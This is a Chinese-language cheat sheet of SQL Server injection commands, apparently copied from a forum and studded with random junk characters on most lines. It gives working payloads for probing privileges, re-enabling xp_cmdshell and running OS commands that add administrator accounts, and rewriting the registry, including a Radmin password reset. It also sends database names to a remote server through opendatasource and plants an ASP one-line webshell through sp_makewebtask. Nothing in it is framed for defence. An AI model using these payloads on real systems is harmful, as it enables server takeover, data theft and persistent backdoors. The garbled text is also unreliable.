阿D常用的一些注入命令6 Y3 c: T2 T, F3 {2 b
//看看是什么权限的% {/ I0 x# K H
and 1=(Select IS_MEMBER('db_owner'))
. q- P1 |. Q% _1 f) `7 {) ~7 ^And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
4 w5 |3 u8 ]: A% t! e) d5 D' d8 u# m Z, P b4 q
//检测是否有读取某数据库的权限
+ ~( _. t# h% r* ?and 1= (Select HAS_DBACCESS('master'))
/ Y/ P7 L1 ~$ p; bAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
# s4 J+ |4 ?& o3 v, [, `( A+ |5 [8 S+ Y; p
! k9 u+ M, @! v N* B& i
数字类型
" O) i; H2 H5 N! B0 Land char(124)%2Buser%2Bchar(124)=0& _ c. E8 ^* o; S& y2 j
' o/ F* t" _' |. @ k( ]! J( N字符类型% K* g) c, Q2 p$ z6 }3 h: N2 N
' and char(124)%2Buser%2Bchar(124)=0 and ''='
' L9 _5 M$ V, q$ ]' w
: Q, B; x4 V# ^. i搜索类型
1 p) v4 O: E x6 T- X' and char(124)%2Buser%2Bchar(124)=0 and '%'=') U3 q6 i( j/ F+ I
1 k5 k$ d4 k' h+ m {1 _
爆用户名
* K4 {" [9 n% z. V3 p( iand user>0# t2 o# f: e1 X, s7 W
' and user>0 and ''='& R0 h1 E! e7 T
' w* U. Q* s6 @1 D/ m' Z
检测是否为SA权限
! i) T" @/ L! E ~# @+ rand 1=(select IS_SRVROLEMEMBER('sysadmin'));--6 W+ k7 `6 r6 u1 u& G
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --( z3 T! U9 G+ X6 J! d
! o: H0 [* n/ N9 w检测是不是MSSQL数据库
$ o+ K. { _0 K8 tand exists (select * from sysobjects);--
: y& y9 H6 B2 u, a. x+ b
% n0 v" d% o: v检测是否支持多行) g* s; B1 H; |$ d
;declare @d int;-- * G0 T; }0 N6 j$ T1 m, n
9 K9 [8 K& h$ ~7 L! t) q$ |, m恢复 xp_cmdshell7 k4 G& Q8 y8 \/ K
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--, z& {8 v! U+ c" R. ]) N& w4 W
2 I/ ]0 @* U; |3 I0 R9 v
^+ i' j6 \ n5 Lselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ) \% b2 |9 n) R0 j2 n2 ~, K
/ F2 D5 k* ]+ S$ k( ]//-----------------------
H5 O, |3 F1 y7 s// 执行命令# q+ T$ J6 t& R6 ~8 ]$ C, Y
//-----------------------' E2 R" i$ A5 i6 h. {
首先开启沙盘模式:
; K& ?/ w1 H8 R5 l" |% L+ zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 [8 i2 v8 t% O
/ N1 N1 p# i, `8 n然后利用jet.oledb执行系统命令
3 v) a, h! t, Y0 T! W9 `: |/ O0 kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 M2 b6 p+ d- F" ~; G& M( u
3 U5 ~! |( e; Z# ^8 I执行命令
$ s. j% H0 ]! ?( m: W; };DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
1 ?4 o/ `# U( n( Y5 E4 z% d. F
6 R2 _8 u2 w; }; t& k5 yEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; M8 X b: T/ r$ k; h
2 a3 L/ z0 P# F5 e/ P判断xp_cmdshell扩展存储过程是否存在:' _2 c9 P# E3 u
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')& n% R r# Z/ z* g: a7 H
I/ M' W, f9 H' Q
写注册表; ?; \7 j1 i. u5 r# N' R
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- w. J# }& `% {
z9 m# j2 B. R7 y3 b2 tREG_SZ
$ ]5 ^" n$ r8 J7 T6 X
$ V& t& W% w: }% ^* s读注册表( ~ t- ^+ x; V$ {
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'$ a* G+ }* G: q+ R7 ]0 @
& k/ {# D( V7 h
读取目录内容/ @, F- q8 F J1 b. C; e
exec master..xp_dirtree 'c:\winnt\system32\',1,1
$ W7 V9 M1 Y9 r+ L& s
( N, v' C( D" w) B! z% w3 p* M b! y* d5 \
数据库备份! r h; H6 f4 W4 p% b5 B7 [
backup database pubs to disk = 'c:\123.bak'
7 Y* v9 }& w' U( E
' g6 p; h5 X$ Q' W% O3 n//爆出长度
' \0 ~" ~) U: ?+ j f5 E$ v& OAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
" }8 A5 W: R) C: W4 r, N
+ ~. v+ `# x3 ~, T# c9 | m$ Z$ _2 j& J' G4 }% F
j3 D* z J& w
更改sa口令方法:用sql综合利用工具连接后,执行命令: w e+ C# e {' a- W
exec sp_password NULL,'新密码','sa'
3 {0 Z8 U$ z3 w1 {+ t9 ?: G H; o
6 S' F1 W6 v. K) p- D7 ^添加和删除一个SA权限的用户test:- }& i6 e; O9 `0 l5 F
exec master.dbo.sp_addlogin test,ptlove
- D8 l. _8 o0 k6 F6 Z3 ]+ \5 j7 U. [" pexec master.dbo.sp_addsrvrolemember test,sysadmin$ }4 h. c0 S+ w: a( m$ c" f& P# v
; a7 l1 E$ W6 U0 q
删除扩展存储过过程xp_cmdshell的语句: # U3 a ?1 r" c2 z/ z4 W( r5 u0 H6 B
exec sp_dropextendedproc 'xp_cmdshell'. l( u: d: U; [2 M- U4 n! p
( q: S9 S/ H) J' {) f; R
添加扩展存储过过程
% H/ D- |+ d( z7 ]9 oEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ' R2 s( `; O! s# i9 I
GRANT exec On xp_proxiedadata TO public
) f8 B$ Y; E/ J P$ Q2 {4 J: a9 T G
2 v2 F5 Q1 s/ c! a8 C& S- R4 S$ i停掉或激活某个服务。
D/ X5 |3 Z$ n( i7 q
' v2 s \; ~4 m, l v7 Aexec master..xp_servicecontrol 'stop','schedule'# _9 \1 a" e! I% @1 e! H" Y
exec master..xp_servicecontrol 'start','schedule'
g6 s/ g' J0 T' B4 r2 L) i, a/ r6 R8 ? a. l* `
dbo.xp_subdirs3 f8 j+ L6 q3 x) C9 w
( i/ J+ c; J3 z+ J0 q
只列某个目录下的子目录。6 V& `' A2 n8 V" z8 s8 Q! R( L
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', {+ b; E ^* g
4 O0 Q$ b: f) {* {
dbo.xp_makecab
' g4 F) _; K% v5 f" V
: l! z9 M+ H4 ?. j$ ^将目标多个档案压缩到某个目标档案之内。! W! m* `" x; A+ k
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。! y! q3 L6 A a' n
7 J. `% z4 z7 g/ S; edbo.xp_makecab* q! h1 a( G7 q- ~% j
'c:\test.cab','mszip',1,
6 ~% d I' S7 o1 m' r4 z' i! W'C:\Inetpub\wwwroot\SQLInject\login.asp',, ~1 @2 ]' K7 G/ p
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'" X+ P8 q( y- Z2 a2 b
" o, @3 D. P! G+ q) t- Z0 Y/ x
xp_terminate_process: o) ]. X. I) k$ @0 f5 z
$ \4 @( Z5 U2 N3 t! M+ e& |# J; u停掉某个执行中的程序,但赋予的参数是 Process ID。
5 ~! n. H: g! H1 c5 ^$ N利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID. {+ J9 \1 d, x
* R% x8 z* Z: g
xp_terminate_process 2484 k1 L, d) b: O, {1 k# m
2 R' b2 I# W `- e& c4 z+ G/ K1 @xp_unpackcab1 f( ]: `9 V+ |) a: o
* v) d" C" w1 X. _" n, f
解开压缩档。
+ g/ e9 k2 v% R$ G0 |: a7 N, C0 t. @1 o
xp_unpackcab 'c:\test.cab','c:\temp',1
}9 l9 c d% i6 S2 Z; }, V
( A' @1 w: M \' j. J: a# r. Y. T7 {, E' M" l8 I
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
9 J8 K. N$ v5 N: o1 m
2 P( s* k' W' v8 m! ~# Kcreate database lcx;
& x$ Z1 j7 m* `' l QCreate TABLE ku(name nvarchar(256) null);: g6 I8 @9 S& B& l/ X
Create TABLE biao(id int NULL,name nvarchar(256) null);
; H5 k7 v+ I. i* ~' X( {) | u2 M
//得到数据库名
$ ?7 \' k/ k/ ~- B7 rinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases, r& t8 \' |0 h. G, S! i
4 _2 r" P! k1 [6 L" P
' |9 W5 @3 L/ [
//在Master中创建表,看看权限怎样
: O' }* @2 C; k, h* p+ BCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
" p9 w8 t" q" U* {+ }/ F3 m
* |0 v; y: T% r用 sp_makewebtask直接在web目录里写入一句话马:) `) a0 G! @7 D
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--% b( Z5 q9 [" n5 J: a, M/ |% \
_" X" A5 o' J$ Y9 ]0 `1 _, C//更新表内容
, ]; ^+ D. U3 \* j& i7 _Update films SET kind = 'Dramatic' Where id = 123
, l ]* _3 J" T8 _- d4 }
; O! G3 A1 C5 |//删除内容" O) V& L$ [/ p) z5 |! _
delete from table_name where Stockid = 3 |